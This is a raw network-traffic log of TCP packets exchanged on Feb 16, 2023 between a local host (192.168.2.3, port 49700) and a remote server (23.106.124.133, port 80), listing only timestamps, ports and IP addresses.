Feb 16, 2023 11:49:15.371179104 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371193886 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371207952 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371232986 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371232986 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371258974 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371284962 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371303082 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371309042 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371335030 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371341944 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371360064 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371386051 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371411085 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371434927 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371448994 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371460915 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371462107 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371488094 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371512890 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371524096 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371537924 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371556997 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371563911 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371589899 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371601105 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371617079 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371663094 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371689081 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371716976 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371728897 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371733904 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371759892 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371786118 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371802092 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371803999 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371831894 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371840000 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371857882 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371882915 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371886015 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371908903 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371934891 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371963978 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.371975899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.371998072 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372018099 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372029066 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372056961 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372056961 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372083902 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372102022 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372112036 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372138977 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372159004 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372167110 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372193098 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372220993 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372230053 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372246981 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372263908 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372273922 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372299910 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372311115 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372325897 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372350931 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372370958 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372376919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372406006 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372426033 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372453928 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372479916 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372505903 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372536898 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372538090 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372564077 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372581959 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372589111 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372616053 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372617006 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372642994 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372659922 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372668028 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372695923 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372723103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372747898 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372752905 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372775078 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372788906 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372801065 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372827053 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372831106 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372853041 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372870922 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372879982 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372905970 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372931957 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372953892 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.372961044 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.372992992 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373019934 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373023987 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373048067 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373078108 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373101950 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373106956 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373136997 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373164892 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373191118 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373203993 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373219013 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373246908 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373251915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373274088 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373301983 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373327971 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373332977 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373357058 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373361111 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373388052 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373413086 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373439074 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373452902 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373466015 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373493910 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373493910 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373509884 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373517990 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373543978 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373569012 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373594046 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373594999 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373619080 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373626947 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373652935 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373667955 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373680115 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373694897 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373722076 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373760939 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373769045 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373788118 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373792887 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373812914 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373817921 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373833895 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373838902 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373856068 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373864889 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373878956 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373891115 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373908997 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373914957 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373928070 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373941898 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373961926 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373969078 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.373984098 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.373995066 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374022961 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374048948 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374075890 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374083042 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374094963 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374102116 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374128103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374142885 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374154091 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374171019 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374181032 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374200106 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374207973 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374234915 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374237061 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374254942 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374274015 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374294043 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374294043 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374314070 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374336004 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374355078 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374372005 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374372005 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374375105 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374397039 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374397039 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374417067 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374439001 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374439955 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374460936 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374480963 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374491930 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374491930 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374500990 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374511957 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374522924 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374527931 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374543905 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374552965 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374564886 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374584913 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374588966 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374604940 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374618053 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374627113 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374645948 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374656916 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374664068 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374677896 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374684095 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374711037 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374716997 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374735117 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374739885 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374759912 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374775887 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374785900 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374795914 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374816895 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374819994 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374835968 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374838114 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374856949 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374861002 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374882936 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374901056 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374910116 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374921083 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374938011 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374939919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374959946 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.374962091 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374984980 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.374986887 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375009060 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375010014 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375027895 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375030994 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375051975 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375071049 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375072956 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375091076 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375102997 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375112057 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375128031 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375133038 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375154972 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375154972 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375174999 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375190973 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375196934 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375211954 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375219107 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375240088 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375241995 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375257969 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375260115 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375279903 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375288010 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375299931 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375318050 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375319004 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375339031 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375346899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375360966 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375368118 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375375986 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375389099 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375402927 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375422001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375439882 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375452042 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375461102 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375463963 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375482082 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375493050 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375502110 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375514030 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375521898 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375540972 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375545025 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375560999 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375561953 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375581980 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375600100 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375602007 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375612974 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375622988 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.375639915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.375663042 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.568736076 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.568775892 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.568795919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.568821907 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.568835974 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.568845034 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.568871975 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.568871975 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.568893909 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.568921089 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.568931103 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.568945885 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.568958998 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.568980932 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.568990946 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.569008112 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.569015980 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.569029093 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.569057941 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.569093943 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.569120884 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.569142103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.569160938 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.569169998 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.569184065 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.569195986 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.569232941 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.570033073 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.570099115 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.570199966 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.570228100 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.570250988 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.570277929 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.570286989 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.570286989 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.570297956 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.570305109 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.570322037 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.570328951 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.570343971 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.570344925 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.570369959 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.570388079 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.570395947 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.570395947 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.570409060 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.570419073 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.570432901 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.570435047 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.570447922 CET	49700	80	192.168.2.3	23.106.124.133
